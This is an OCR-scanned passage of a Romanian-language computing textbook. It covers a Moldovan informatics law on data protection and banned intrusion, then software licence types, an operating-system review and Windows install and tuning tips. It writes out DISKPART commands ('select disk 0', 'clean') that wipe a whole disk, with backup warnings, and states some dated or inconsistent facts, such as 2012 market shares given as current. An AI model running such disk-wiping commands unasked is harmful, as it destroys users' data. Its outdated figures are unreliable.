obligate sa ia masuri si garantii corespunzatoare de protectie si nedivulgare.
(2) Sint excluse de la detinerea si prelucrarea in baze de date datele ce constituie informatii
oficiale cu accesibilitate limitata ale altor titulari care au stabilit caracterul lor, cu exceptia celor
autorizate sau obligatorii pentru pastrare potrivit legislatiei.
[Art.15 al.(2) modificat prin LP66 din 07.04.11, MO110-112/08.07.11 art.299]
(3) Datele de interes public, cu exceptia celor prevazute la alin.(1) si (2), pot fi prelucrate si
detinute liber, fara restrictii s1 obligatii de naturd morald sau materiala din partea titularilor de
date, in cadrul obiectului lor de activitate.
Art.16. - (1) Orice persoana este in drept sa detind date, programe si echipamente, precum si sa
prelucreze date si programe, cu obtinerea unor produse informatice pentru uz propriu, daca
aceasta nu contravine prevederilor prezentei legi.
(2) In maisura in care activitatile previzute la alin.(1) depasesc sfera activitatilor admise prin
accesul la bazele de date ale altor titulari, acestea, in mod obligatoriu, urmeaza a fi aduse in
conformitate cu dispozitiile ce reglementeaza fluxul de date.
Art.17. - Transferul de date cu caracter personal catre utilizatori din alte tari nu poate avea loc
decit daca acestia asigura un nivel de protectie a datelor conform legislatiei si reglementarilor in
vigoare.
Art.18. - Datele aflate in trafic prin orice mijloace tehnice si/sau suporturi materiale se bucurd,
din punct de vedere juridic, de protectie similara celei asigurate conform legislatiei cu privire la
secretul corespondentei si convorbirilor telefonice.
Art.19. - (1) Pentru prelucrarea datelor se definesc, in prealabil sau cel mai tirziu In momentul
colectarii acestora, scopurile in care se intreprinde aceasta activitate.
(2) Orice prelucrare a datelor si utilizare ulterioard a acestora trebuie sa se efectueze exclusiv in
scopurile stabilite si compatibile cu ele.
(3) Prevederile alin.(1) si (2) nu sint aplicabile datelor si prelucrarilor de naturd statisticd sau
previzionald cu caracter general si local, precum si celor recunoscute legal ca publice.
Art.20. - (1) Persoanele juridice si fizice au dreptul sa obtina de la titularii bazelor de date, direct
sau pe alte cai de acces, confirmarea cd acestia detin sau nu date care se refera la persoana
respectiva.
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(2) Dreptul prevazut la alin.(1) nu se extinde asupra activitatilor de informaticd ce constituie
informatie oficiald cu accesibilitate limitata, precum si asupra datelor rezultate din asemenea
activitati.

[Art.20 al.(2) modificat prin LP66 din 07.04.11, MO110-112/08.07.11 art.299]

Art.21. - (1) Persoanele fizice au dreptul sd obtina informatiile cu caracter personal, care se

refera la ele, continute in bazele de date. Titularul de date trebuie sa dea raspunsul la aceste

solicitdri 1n termen legal, sub o forma inteligibild si fara pretentii materiale.

(2) Persoanele lezate prin inscrierea intr-o baza de date a datelor cu caracter personal care se

referd la ele le pot contesta si, in masura in care aceastd contestare este intemeiata, titularul de

date este obligat sa le stearga, modifice, completeze sau corecteze.

(3) Persoanele fizice au dreptul sd fie informate asupra motivelor pentru care demersurile lor

depuse in conformitate cu alin.(1) si (2) au fost respinse, precum si dreptul de a contesta

motivele respingerii.

Art.22. - Persoanele juridice si fizice au drept de acces la datele publice, precum si la

metodologia de definire a indicatorilor utilizati in colectarea si prelucrarea informatiei publice, a

clasificatoarelor si nomenclatoarelor utilizate.

Art.23. - (1) Informatiile atribuite la secret de stat, la care accesul este limitat, precum si modul

de acces, de utilizare, de acumulare, de protejare a acestora si lista persoanelor care au acces la

aceste informatii sint reglementate de legislatia cu privire la secretul de stat.
[Art.23 al.1) modificat prin LP66 din 07.04.11, MO110-112/08.07.11 art.299]

(2) Nu poate fi limitat accesul la datele:

a) care stabilesc statutul juridic al persoanelor juridice, drepturile, libertatile si obligatiile
persoanelor fizice si procedurile realizarii acestor drepturi si libertati;

b) cu privire la situatiile exceptionale ecologice, meteorologice, sanitaro-epidemiologice si alta
informatie necesarda pentru asigurarea functionarii obiectelor de productie, securitatii
populatiei;

C) care reprezinta surse de cunostinfe acumulate in sistemele informatice din sferele
invatdmintului, ocrotirii sdnatatii, stiintei, culturii si jurisprudentei.

PROTECTIA SI SECURITATEA DATELOR

Art.24. - Autoritatile administratiei publice care au colectat informatia sint obligate sd o

furnizeze, la solicitare, celorlalte autoritdti ale administratiei publice, in conformitate cu

legislatia.

Art.25. - Bazele de date se organizeaza conform criteriului calitdtii si securitdtii datelor ce le

contin, indiferent de faptul ca ele sint tinute pentru pastrare si consultare interna sau ca din

acestea se furnizeazd produse informatice transmise unor terti, inclusiv pe cale neinformatica.

Art.26. - (1) In aplicarea art.25, la bazele de date din domeniul public se desemneazi

responsabili pentru prelucrarea datelor.

(2) Titularii de date care nu apartin domeniului public, dar care stocheazd, prelucreaza, difuzeaza

sau utilizeaza date ce pot intra in categoria celor cu caracter personal sau a datelor nominative

trebuie sa desemneze responsabili pentru prelucrarea datelor.

Art.27. - Titularul bazelor de date protejeazd, prin masuri adecvate, datele colectate,

echipamentele si produsele program utilizate pentru administrarea acestora, asigurind securitatea

datelor impotriva riscurilor de pierdere, distrugere, precum si impotriva folosirii neautorizate

sau divulgarii.

Art.28. - (1) Persoanele care activeaza in cadrul sistemelor si retelelor informatice sint obligate

sa asigure protectia si confidentialitatea datelor, cu exceptia celor care sint determinate ca date

publice.

(2) In scopul asigurdrii protectiei datelor si evitarii infractiunilor ce tin de domeniul

informaticii, se interzice:

a) elaborarea si instalarea in retelele informatice a produselor program ce pot modifica,
deteriora, distruge datele, produsele program si echipamentele;
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b) patrunderea neautorizata in sistemele si retelele informatice publice sau private pentru a
capta, memora, prelucra sau difuza date si programe ori pentru a modifica, deteriora,
distruge date, programe si echipamente;

c) deturnarea datelor, perturbarea programelor ori falsificarea mesajelor sau transmiterea
datelor eronate in scopul deranjamentului fluxului de date sau credrii unei stari de
neincredere Intre participantii la circuitul informatic;

d) patrunderea neautorizata si cu intentie in sistemele si retelele informatice publice sau
private, chiar neurmata de ascultarea, inregistrarea sau utilizarea in interese personale ori in
interesele altor persoane a datelor culese, precum si pentru obtinerea unui alt folos.

(3) In scopul asigurarii securititii nationale, organele abilitate au drept de acces la resursele

informationale din sistemele informatice publice sau private. In procesele penale, organele

mentionate pot, in baza mandatului emis de procuror, intercepta retelele informatice, utilizind
aparatajul tehnic al proprietarului sistemului informatic.

DREPTUL DE PROPRIETATE ASUPRA PRODUSELOR INFORMATICE

Art.29. - (1) Obiecte ale dreptului de proprietate in domeniul informaticii pot fi:

a) resursele informationale si datele, cum ar fi: bancile de date, bazele de date, fisierele textuale,
grafice si audiovizuale, precum si parti de sine statatoare ale acestora;

b) sistemele informatice.

(2) Subiecte ale dreptului de proprietate in domeniul informaticii pot fi statul - prin autoritatile
administratiei publice, precum si persoanele juridice si fizice.

(3) Obiectele dreptului de proprietate in domeniul informaticii, create in urma finantarii de la
bugetul de stat, se considera bunuri publice. Bunul public poate fi transmis si utilizat in temeiul
contractului Incheiat cu autoritatea abilitatd de Guvern.

(4) Proprietarul produselor informatice are dreptul de a autoriza persoane care sa posede,
utilizeze si/sau sa administreze aceste produse, fiind in drept sa efectueze orice operatiune legala
cu acestea si in privinta acestora.

Art.30. - (1) Dreptul de proprietate asupra produsului informatic il obtin:

a) creatorul - in urma crearii produsului informatic cu forte proprii si pe cont propriu;

b) persoana care a facut comanda de creare a produsului informatic si a finantat toate lucrarile
aferente crearii acestuia - in baza contractului incheiat cu creatorul produsului informatic;

¢) persoana juridica sau fizica ce intentioneaza sa foloseasca programul sau baza de date - in
baza contractului incheiat cu proprietarul produsului informatic;

d) mostenitorii §i alti succesori de drepturi ai proprietarului - conform legislatiei.

(2) Dreptul de proprietate asupra datelor noi, obtinute in procesul prelucrarilor din cadrul
sistemului informatic, se stipuleaza in contractul dintre proprietarul resurselor informationale si
al datelor si proprietarul sistemului informatic. Daca aceasta stipulare lipseste in contractul dintre
parti, atunci dreptul de proprietate asupra acestor date apartine proprietarului sistemului
informatic.

(3) Dreptul de proprietate asupra produselor informatice se protejeazad de catre legislatia cu
privire la proprietate.

DOCUMENTUL ELECTRONIC

Art.31. - (1) Redactarea, pastrarea, prelucrarea, selectionarea si difuzarea datelor se realizeaza
cu mijloace specifice tehnologiilor informatiei sub denumirea de documente electronice, care se
completeazd cu obligatiile asumate de parti, precum si cu mijloacele de probatiune a acestor
obligatii stabilite de legislatie.

(2) Se recunoaste ca proba materiald sau document electronic orice reproducere prin mijloace
automate a datelor numerice, textelor, graficelor, imaginilor, inregistrarilor de sunete sau voce
daca completarea lor a fost efectuatd prin folosirea mijloacelor tehnice care exclud accesul
neautorizat §i permit pastrarea lor in conditiile stabilite.
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Art.32. - Documentele electronice trebuie prezentate intr-o forma care sd permitd citirea si
prelucrarea lor automata de catre persoanele interesate. Pentru a fi recunoscute juridic,
documentele electronice trebuie sd corespundd cerintelor de ordin structural, stabilite de
legislatie.
Art.33. - Documentele electronice vor fi prevazute cu semnatura electronica, care consta intr-un
cod informatic ce permite identificarea emitentului, constatarea autenticitafii continutului
documentului, integritatii datelor stocate si transmise, precum si cu data calendaristica. La
alcatuirea semnaturii electronice se pot aplica si metode criptografice.
Art.34. - Documentul electronic prevdzut cu semnatura electronicd este echivalent cu
documentul cu semnaturd manuald, atit in ceea ce priveste efectele sale de fond, cit si cele
procedurale. Dacad datele din documentul manual si cel electronic nu corespund, se considera
autentice datele din documentul manual.
Art.35. - Obtinerea, stocarea, pastrarea, prelucrarea, selectionarea si difuzarea documentelor
electronice trebuie sa se efectueze cu respectarea regulilor de conservare, care sa asigure:
a) conformitatea cu informatiile ce stau la originea inregistrarilor;
b) protectia datelor impotriva oricarei distrugeri sau inlocuiri neautorizate;
¢) caracterul public sau privat, inclusiv accesibilitatea limitatd in masurd in care se refera la
asemenea categorii de date.

[Art.35 lit.c) modificata prin LP66 din 07.04.11, MO110-112/08.07.11 art.299]
Art.36. - Partile care participa ca operatori informatici la realizarea circuitului informatiilor,
responsabilii de date si pentru prelucrarea lor, precum si utilizatorii de informatii sint datori sa
colaboreze, sa coordoneze actiunile lor si sd {ind cont de informatia primita la realizarea
masurilor in vederea instaurdrii unei atmosfere de responsabilitate in functionarea structurilor
informatizate si a bazelor de date aferente acestora, in pastrarea si utilizarea datelor si
documentelor electronice, in constituirea si folosirea ireprosabila a retelelor de calculatoare si
mijloacelor birotice, precum si 1n asigurarea securitatii datelor, sub forma protectiei lor fizice,
tehnice si morale.

RASPUNDERI
Art.37. - Persoanele juridice si fizice care incalcd prevederile prezentei legi poartd raspundere
administrativa, materiald sau penald, dupa caz, conform legislatiei.

12.3 Tipuri de licente

Licenta software este un act (de obicei un contract) care precizeaza drepturile unui utilizator
in a folosi sau a redistribui un program de calculator (software). Orice software se afla sub
incidenta drepturilor de autor, cu exceptia materialului aflat in Domeniul public (public domain).
Confidentialitatea contractuala este un alt mod de a proteja programele.

O licenta software tipica ofera unui utilizator final dreptul de a utiliza una sau mai multe copii
ale unui program, intr-un mod care, altfel, ar constitui o incélcare a drepturilor exclusive ale
detinatorului programului, conform legii drepturilor de autor.

O licenta liberd, ,,cu sursa deschisa”, permite ca programul sa poata fi studiat (codul-sursa sa
poatd fi inspectat), modificat si redistribuit in mod liber. Unele licente libere, cum ar fi Licenta
Publica Generalda GNU permit ca programul si/sau derivatele sale sd poata fi comercializate.

O licenta este un contract intre tine si proprietarul aplicatiei software, contract prin care
primesti dreptul de a utiliza aplicatia cu conditia respectarii unor conditii. Nu primesti dreptul de
proprietate! De cele mai multe ori, primesti dreptul netransferabil, neexclusiv de a utiliza
aplicatia.

— Netransferabil: nu poti sa transferi dreptul de a utiliza aplicatia software. Exemplu: atunci
cand achizitionezi o licenta pentru firma ta, firma este cea care detine dreptul de utilizare si
nu tu! Daca si cand iti faci o alta firma, nu ai dreptul de a utiliza aplicatia la noua firma.
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— Neexclusiv: nu esti singurul care capata dreptul de utilizare. Proprietarul va acorda si altora
licenta de utilizare.
De fiecare data cand obtii in mod legal o aplicatie software, primesti o licenta de utilizare.
Nu voi incerca sa insir toate tipurile posibile de licentiere. Fiecare dezvoltator software are
posibilitatea de a-si defini propriul tip de licenta si propriile conditii de licentiere. Voi incerca sa
explic cateva dintre cele mai utilizate tipuri de licente.

Tipuri de licente folosite uzual

Exista mai multe tipuri de licente pe care creatorii produselor software le pun la dispozitie
utilizatorilor, unele dintre ele find mai raspandite in timp ce altele capata un aspect particularizat
in functie de termenii de licentiere. lata care sunt cele mai folosite licente:

Licenta Shareware
Programele cu licenta shareware sunt aplicatii care pot fi folosite o perioada limitata de timp

cu scopul de a testa sau evalua programul. Dupa expirarea acestui termen, utilizatorul

programului trebuie sa aleaga intre achizitionarea unui licente pe o durata mai mare de timp,
eventual permanenta, sau stergerea programului din calculator - acestea ne mai oferind
posibilitatea de a folosi functiile aplicatiei.

Licenta Freeware
Acest tip de licenta da dreptul unui utilizator de a folosi gratuit produsul software, ba mai

mult, puteti copia si distibui programul.

Licenta free software
Software-ul liber ofera dreptul de a folosi, studia, modifica si imbunatatii aplicatia cu restrictii

minime. Pentru ca un program sa fie sub licenta libera este necesar sa fie oferit public codul

sursa ce sta in spatele programului impreuna cu o nota de copyright ce va descrie libertatea de a

copia, modifica si transmite codul sursa.

Licenta individuala (unic utilizator).

Aplicatia software va fi instalata pe un singur calculator si nu va fi accesata de catre utilizatori
prin intermediul retelei.

Licenta server multi-utilizator.

Poti instala aplicatia software pe mai multe computere iar utilizatorii pot folosi aplicatia prin
intermediul retelelor de calculatoare. De cele mai multe ori, exista 2 componente software.
Server de aplicatie care se instaleaza pe un singur calculator (server) si Client de aplicatie care se
instaleaza pe calculatoarele utilizatorilor.

a) Utilizator numit. Poti defini un numar de utilizatori egal cu numarul de licente achizitionate.
Nu mai multi. Aplicatia software (clientul de aplicatie) poate fi instalata pe oricate
calculatoare vrei. Numai acei utilizatori definiti ca fiind utilizatori ai aplicatiei vor putea
accesa software-ul, indiferent ce calculator folosesc.

b) Utilizator concurent. Poti defini un numar nelimitat de utilizatori. Poti instala aplicatia pe
oricate calculatoare. Restrictia apare la numarul de utilizatori ce utilizeaza aplicatia la un
moment dat. Acest numar este egal cu numarul de licente achizitionate. Spre exemplu:
presupunem ca ai achizitionat 3 licente — utilizator concurent. La un moment dat, 3 utilizatori
folosesc aplicatia. Daca un al 4-lea incearca sa se conecteze, va fi respins pana cand unul
dintre cei 3 utilizatori activi inchide aplicatia, eliberand astfel un loc.

Aceste tipuri de licente pot fi catalogate in functie de perioada de valabilitate a licentei:

a) Licenta perpetua.
Poti utiliza aplicatia software pentru o perioada nedefinita de timp.

b) Abonament.
Licenta este limitata la o perioada de timp (1 luna, 1 an, etc). La sfarsitul perioadei poti sa
continui achitand o noua taxa de abonament, poti achizitiona o licenta perpetua (daca
optiunea este specificata in contract) sau poti renunta la utilizarea aplicatiei.

137



Licente denumite generic Otherware

Categorie care este definita prin ceea ce nu este, adica licente care nu sunt comerciale, nu sunt
freeware, nu sunt shareware:

1. Abandonware este un tip de licenta software care se refera la softul care nu mai este in
vanzare, nu mai este sustinut de o companie sau pentru care nu este cunoscut (sau este incert)
autorul.

2. Beerware, licenta care ofera dreptul de folosire cu conditia ca in cazul in care te intalnesti cu
autorul respectivului soft sa ii cumperi o bere.

3. Careware — utilizatorul nu plateste autorului softului respectiv, ci doneaza pentru un anume
eveniment (proiect) caritabil.

4. Greenware — in schimbul utilizarii produsului software trebuie sa faci “o fapta buna” pentru
mediul inconjurator.

5. Donationware — asemanator cu Careware, trebuie facuta o donatie pentru a inregistra aplicatia
respectiva.

6. E-mailware — inregistrarea se face trimitand un email autorului

7. Postcardware — cel care foloseste aplicatia respectiva trebuie sa ii trimita o carte postala
autorului.

8. Prayerware — spune o rugaciune pentru autorul applicatiei si o poti folosi .
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15. Recapitulare SO

Obiective:

1. Generalizarea, sistematizarea si aplicarea cunostintelor.

15.1 SO pentru telefoanele mobile

Android este un sistem de operare foarte popular cu un magazin de aplicatii foarte bogat si cu
dispozitie nativ toate serviciile companiei. Totodata este un sistem open source, ceea ce il face
extrem de personalizabil. Asa se face ca existd extrem de multe variante de Android care mai de
care... Fiecare producator de telefoane mobile isi face propria interfata de utilizare care sa-i
atraga pe clienti. Cu toate acestea, Android este si un mare consumator de resurse. Este bine stiut
ca telefoanele slabe cu Android suferd de o mare intarziere in utilizare. Deci daca nu ai un buget
care sa-ti permitd sa cumperi un telefon de top, Androidul s-ar putea sa fie o variantd care sa-ti
dea mai apoi batai de cap. O alta problema pe care eu am intampinat-0 pe telefoanele cu Android
a fost aceea a Incetinirii drastice dupa o perioada de utilizare. Chiar daca la prima deschidere
telefonul pare sd te incante, totusi dupd ce instalezi cateva aplicatii si il folosesti cateva luni
observi ca se incarca tot mai greu si se misca tot mai lent. De exemplu, am o tabletd cu procesor
dual-core de 1.5 Ghz si 1 Gb RAM (aparent niste cifre decente) care se misca groaznic de cum
instalez 5 aplicatii. La prima deschidere merge impecabil, dar dupda ceva timp devine
insuportabila.

10S a cucerit piata telefoanelor mobile inca de la lansare prin usurinta cu care poate fi utilizat.
Este drept! iOS este un sistem de operare frumos care poate fi folosit fara prea mari dificultati de
oricine. Dar este un sistem extrem de inchis. Poti face doar ce te lasa Apple sa faci, adica foarte
putine. Apoi daca iti cumperi iPhone, trebuie sa fii constient ca vei fi nevoit sd schimbi telefonul
destul de des daca vrei sa ramai la zi cu sistemul de operare si cu aplicatiile. Inca un lucru putin
bizar este ca imediat ce apare un nou iPhone, vechiul model incepe sd se miste un pic mai lent
(comparativ cu viteza pe care o avea tot el inainte de aparitia noului model — deci nu compar
mere cu pere). Unde mai pui si faptul ca este foarte complicat si aproape chinuitor sa copiezi
niste fisiere intr-un iPhone. Deci 10S da, doar daca te tine punga sd schimbi telefonul mdcar la
doi ani si sa nu ai pretentii de a face absolut tot ce vrei tu cu el.

Windows Phone este cel mai tanar sistem dintre cele mentionate si pand acum m-a SUrprins
placut. Cel mai tare ma bucur ca se misca bine chiar si pe telefoane care au o platforma tehnica
nu prea stralucita. Chiar dacd nu este cel mai frumos sistem de operare, totusi functioneaza, este
stabil si productiv. Sa am un telefon care raspunde foarte bine la tot ce-1 dau de facut din prima
pana in ultima zi de utilizare. Nu ma intereseaza jocurile, asa ca nu vad un minus in faptul ca
Windows Phone sta prost la acest capitol. E drept si cd magazinul de aplicatii nu este atat de bine
dezvoltat ca la competitori, Tnsa cred ca acest lucru se va echilibra cu timpul. Plus ca fiind produs
de Microsoft ai avantajul unui Office preinstalat si al altor programe dedicate. Deoarece
Windows 10 este un succes, ai posibilitatea de a folosi un ecosistem care inglobeaza Desktopul,
tableta si telefonul mobil intr-un mare stil.

15.2 SO pentru calculatoarele personale

Microsoft Windows

Microsoft a revolutionat utilizarea calculatoarelor prin sistemul de operare Windows, care a
copiat conceptul de interfatd grafica pionierat de Steve Jobs la Apple pe Macintosh in 1984. in
prezent, la aproape 30 de ani distantd, Windows detine o cotd de piatd de aproape 90% prin
intermediul a trei versiuni:
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Windows XP — Lansat in octombrie 2001, Windows XP a oferit o noua eXPerientd prin
concentrarea pe functionalitatea demonstrata deja de precursorul Windows 95. Laudat de presa
internationala, WinXP a devenit sistemul de operare preferat in special in varianta Professional,
care a inclus numeroase optiuni de securitate si retea suplimentare comparativ cu varianta Home.
in 2012, Windows XP are o coti de piatd de aproximativ 37%.

Windows Vista — La inceputul anului 2007 Microsoft a lansat Windows Vista, un sistem de

operare caracterizat de o schimbare a interfetei de utilizator si de introducerea a numeroase
noutafi de ordin tehnic si de securitate, aproape invizibile pentru utilizatorul final.
In ciuda faptului ca a reprezentat un salt important din punct de vedere tehnologic datorita celor
sase ani trecuti de la Windows XP, noul OS a fost aspru criticat de presa de specialitate si a
sfarsit prin a fi marginalizat, utilizatorii ramanand fideli batranului XP. Principalul defect: slaba
compatibilitate cu aplicatiile si driverele. In 2012, Windows Vista are o cotd de piatd de circa
11%.

Windows 7 — Spre finalul anului 2009, Microsoft a lansat Windows 7, un sistem de operare
bazat pe Vista care a pus insd accentul pe experienta utilizatorului final. Pe langa
compatibilitatea foarte buna cu aplicatiile si, mai ales, cu componentele hardware, Windows 7
include un nou design pentru interfata graficad, imbunatatiri menite sd ajute performanta
sistemului si suport pentru multi-touch. Apreciat aproape in unanimitate de comunitatea IT,
Windows 7 este in 2012 sistemul de operare cu cea mai mare cotd de piata: 42%.

Windows 8 — Microsoft are o abordare diferita. Windows 8 este un sistem de operare dedicat
atat PC-urilor, cat si tabletelor, dispozitive care cunosc o explozie de popularitate. Programat sa
apara in cursul anului 2012, Windows 8 propune o interfatd de utilizator complet schimbata
botezatda Metro, asemanatoare cu cea disponibild pe tablete: meniul de start dispare in favoarea
unui Start Screenm, Windows Explorer cu interfata Ribbon, Task Manager imbunatatit, magazin
de aplicatii Windows Store asemandtor cu App Store sau Android Market si multe altele.
Practic, prin Windows 8 va exista o apropiere de functionalitate si utilizare intre PC-uri, tablete
si, de ce nu, telefoane mobile. Spun si telefoane mobile mai ales datorita directiei Google, al
carui Android IceCream este optimizat atat pentru tablete, cat si pentru mobile.

Apple Mac OS X

Mac OS este urmasul sistemului de operare dezvoltat de Apple in prima parte a anilor ‘80 pe
primele versiuni ale calculatoarelor Macintosh, cunoscut la vremea respectiva sub banalul nume
System Software. In 1999 a aparut Mac OS X, care pe parcursul ultimului deceniu a ajuns la
versiunea 10.12, cunoscuta si sub numele de cod Sierra.

Mac OS X este un sistem de operare inchis, disponibil exclusiv pe computerele Apple, aceasta
fiind o buna explicatie pentru cota de piatd de numai 7% pe care o are in 2012.

Comparativ cu diversele versiuni de Windows, MacOS pune accentul pe experienta
utilizatorului final printr-o interfata grafica intuitiva si un taskbar bazat pe un concept diferit de
utilizare. Principalele avantaje sunt usurinta de utilizare a aplicatiilor, care pot fi accesate foarte
usor datoritd existentei unei singure iconite si pot fi dezinstalate prin simpla “aruncare” a
acestora 1n “cosul de gunoi”.

Chiar daca comunitatea de dezvoltatori pentru MacOS este numeroasd, existd si dezavantaje:
numeroase aplicatii celebre disponibile pe Windows nu au versiune de MacOS, iar jocurile
populare pe platforma Microsoft sunt o necunoscuta pentru Apple.

Linux

Am ajuns si la Linux, un sistem de operare Open Source a carui cotd totala de piata se Invarte la

aproximativ 1% in 2012. Deschiderea OS-ului a insemnat ca oricine a putut crea propria

distributie de Linux, motiv pentru care in prezent exista numeroase opfiuni pentru utilizatori.
Desi diferite, toate distributiile de Linux au cateva puncte comune esentiale: sunt gratuite,

sunt usor de instalat, au compatibilitate hardware bund, au versiuni gratuite pentru cele mai

uzuale aplicatii Windows, sunt stabile si nu au (aproape deloc) virusi.
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Daci activitatea ta se bazeazd preponderent pe navigare web, comunicare pe chat, editare de
texte, vizionat filme si ascultat muzica poti lua in calcul instalarea unei distributii Linux.

Linux Mint — Aceasta este in prezent cea mai apreciata distributie de Linux. Procesul de
instalare este simplu si dureaza maxim 15 minute, iar interfata este simpla si intuitiva: exista un
singur meniu pentru aplicatii si administrarea OS-ului.

Ubuntu — Tocmai a pierdut coroana de rege, insa Ubuntu raméne una dintre distributiile de
top datoritd desktopului Unity, o interfata full-screen care iti permite sa schimbi rapid intre
aplicatii. Din pacate, are probleme de stabilitate si cerinte hardware destul de ridicate.

Fedora — Aceasta distributie mizeaza pe interfatd grafica Gnome Shell, care permite tranzitii
animate, un taskbar si un “lansator” de aplicatii. Se aseamana in buna masura cu Ubuntu, dar are
numeroase probleme la instalarea codecurilor MP3, pluginurilor Adobe Flash si driverelor
Nvidia.

ChromeOS

Internetul s-a dezvoltat dramatic in ultimii ani, iar numarul si performantele aplicatiilor web-
based cresc semnificativ in ultima perioada, ceea ce duce la o scadere a influentei aplicatiilor
desktop. Google a intuit acest potential in crestere si a lansat Google Chrome OS, un sistem de
operare care lucreaza doar cu aplicatii web. Practic, Chrome OS este format doar dintr-un
browser Chrome care se conecteaza la internet, acesta fiind mediul in care interactionezi cu toate
aplicatiile, indiferent ca vorbim despre editare documente, editare foto sau streaming video.
Totusi, lumea IT nu este Incd pregatitd pentru o mutare completd pe internet, motiv pentru care
Google Chrome OS este incd departe de a deveni o alternativa la OS-urile clasice, cel putin pana
in momentul in care se vor rezolva probleme precum spatiul de stocare, editare video sau
instabilitatea conexiunilor la internet.

15.3 Instalarea unui SO. Metode de instalare
Instalarea unui sistem de operare Windows folosind sistemul de partitionare GPT

Situatie
Daca vrea sa convertim hard disk-ul principal de boot din sistemul MBR (Master boot record) in
GPT (GUID Partition Table) inca din timpul instalarii fara a folosi LiveCD-uri de Linux sau alte
utilitare o putem face foarte simplu cu comanda DISKPART.

GPT are multe avantaje fata de MBR dar cele mai importante sunt ca suporta medii de stocare
mai mari de 2TB si ca se pot face mai mult de 4 partitii primare pe acelasi hard disk, deci putem
instala mai mult de 4 sisteme de operare pe acelasi hard disk.

Backup
Tot hard diskul va fi sters complet. Solutia necesita un plan complet de backup al tuturor datelor
de pe hard disk.

Solutie. Pasi de urmat
1. In primul rand, PC-ul trebuie sa booteze de pe mediu de stocare care contine imaginea de
instalare a sistemului de operare. Se poate realiza acest lucru fie setand din BIOS ordinea de
botare (DVD sau USB), fie apasand tastat F12 la pornirea calculatorului pentru a se afisa meniul
de boot.
2. Urmati toti pasii instalarii sistemului de operare (licence agreement, introducerea licence key,
etc) pana ajungeti la pasul in care trebuie aleasa/creata partitia pe care sa fie instalat sistemul de
operare.
3. Aici apasati tastele SHIFT+F10 pentru a deschide un Command Prompt.
4. Prima data vom lansa programul DISKPART tastand in cmd DISKPART . Apoi va trebuie sa
verificam denumirea exacta a hard diskului pe care se va instala sistemul de operare. Tastam:

141



list disk. Mai departe selectam diskul: select disk <numarul diskului>. De regula numarul
diskului Master este 0, deci comanda va fi select disk 0. Apoi vom sterge toate partitiile hard
diskului: clean. Vom converti partitia in GPT: convert GPT. Dupa ce am terminat putem iesi cu
exit

5. Dupa ce am inchis si fereastra cmd este obligatoriu sa apasam pe butonul de Refresh al
ferestrei de unde se pot creat partitiile pentru a se updata informatiile referitoare la hard disk.

6. Apoi va trebui sa selectam intreg spatiu nepartitionat si sa continuam cu proceduta de instalare
a sistemului Windows. Putem partitiona hard diskul si dupa instalare, fie cu ajutorul unui
program, fie chiar din Disk Management.

Impact colateral

Windows XP si Vista nu suporta sistemul GPT, acesta putand fi folosit de la Windows 7 in sus.
Deasemenea, daca nu avem un sistem de tip UEFI sau un Legacy BIOS care sa suporte GPT nu
putem folosi acest tip de partitionare.

Plan de restaurare in caz de nefunctionare
Comanda clean va sterge toate partitiile de pe hard disk (deci toate informatiile). Nu se mai poate
face o restaurare dupa ce s-a dat aceasta comanda.

In cazul in care sistemul de BIOS nu suporta GPT, putem reveni la MBR prin comanda:
convert mbr

15.4 Configurarea unui SO
Configurare Windows 10 dupa instalare, pentru performante mai bune

% Sporirea confidentialitdtii

Windows 10, spre diferenta de versiunile anterioare ale aceluiasi sistem de operare, iar acest
lucru nu este un secret pentru nimeni, colecteaza si transmite companiei Microsoft o variata
gama de informatii, pe care unele persoane le pot considera intime.

Acest comportament al Windows 10, chiar daca avem promisiunea companiei c¢d acestea nu
vor fi putea fi accesate public si nici nu vor fi divulgate vreodata, i-a ingrijorat si continud sa-i
ingrijoreze, pe buna dreptate uneori, pe tot mai multi dintre cei care care au aderat la el.

Pentru a oferi utilizatorilor sai posibilitatea de a prelua controlul total asupra sistemului, dupa
lansarea Windows 10 au Inceput sd apard programe care mai de care mai simple si explicite,
despre unele dintre acestea vorbindu-va chiar eu pe site-ul programecalculator.ro.

Dintre toate solutiile de acest gen existente actualmente, eu si multi alti entuziasti Windows,
preferdm utilizarea in acest scop a programului ShutUplO, realizat de citre O&O Software,
dezvoltator renumit pentru instrumentul de defragmentare cu acelasi nume.

Odata descarcat, acesta va permite sd activati sau dezactivati acele caracteristici care nu va
permit sd va simtiti confortabil folosind Windows 10. Mai mult, acesta vine in ajutorul tuturor
celor mai putin experimentati cu un profil preconfigurat ce poate fi activat din File » Actions.
Inainte de aplicarea setirilor recomandate, programul v va sfitui si creati un punct nou de
restaurare a sistemului, care va va ajuta sa resetati modificarile daca apar probleme.

Pe de alta parte, daca doriti sa folositi setarile active in sistemul meu, puteti descarca de aici
fisierul meu de configurare, pentru a-1 incarca si aplica in propriile voastre computere, desi nu
prea vad ce motive ati avea pentru a face acest lucru.

Celor interesati de explicatii detaliate si sdpaturi pe marginea acestui subiect, vd recomand sa
incepeti investigatiile de aici, un material interesant care, va garantez, e practic imposibil sd va
lase indiferenti.

Revenind la O&O ShutUpl0, pentru aplicarea tuturor modificarilor este necesar sa reponiti
computerul. Repornirea poate fi efectuatd dupa inchiderea programului sau mai tarziu, fara a
avrea vreo importantd momentul preferat.
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% Dezactivare caracteristici si aplicatii nenecesare

Sistemele de operare Windows vin dotate cu caracteristici pe care multi dintre noi nu le vom
folosi niciodata. E inutil si contraproductiv sa le pastram active, iar dezactivarea acestora —sau
daci este posibild, dezinstalarea lo— e o metoda buni de reducere a consumului de resurse. In
plus, le vom putea reinstala oricind vom avea nevoie de ele.

In ceea ce ma priveste, mi-am facut un obicei din a renunta la caracteristicile media, la IE 11,
serviciile si vizorul XPS, ce pot fi dezactivate din panoul Caracteristici Windows, ce poate fi
accesat executand in caseta RUN comanda ,,optionalfeatures,,.

in plus, renunt la multe dintre aplicatiile implicite ale Windows 10 de care nu am nevoie, pe
care le dezinstalez dupa cum am explicat aici. Metoda recomandata cu precadere celor care fac
asa ceva pentru prima data, este cea care se implica utilizarea CCleaner in acest scop.

3D Builder, Companion Mobil, Meteo, Muzica Groove, Stiri, Sway, Sport, Filme si TV,
Telefon si Xbox, Microsoft Solitarire Collection, OneNote, Obtineti Office si Skype sunt cele la
care renunt de fiecare data deoarece fie n-am nevoie de ele, fie nu le folosesc deloc pe desktop,
ci doar pe telefon (OneNote si Skype, de exemplu).

% Optimizare Windows modificindu-i registrii

Optimizarea unui sistem de operare incepe prin dezactivarea caracteristicilor nefolositoare celui

aflat in fata PC-ului, continud cu ajustarea timpilor de reactie si a comportamentului si se

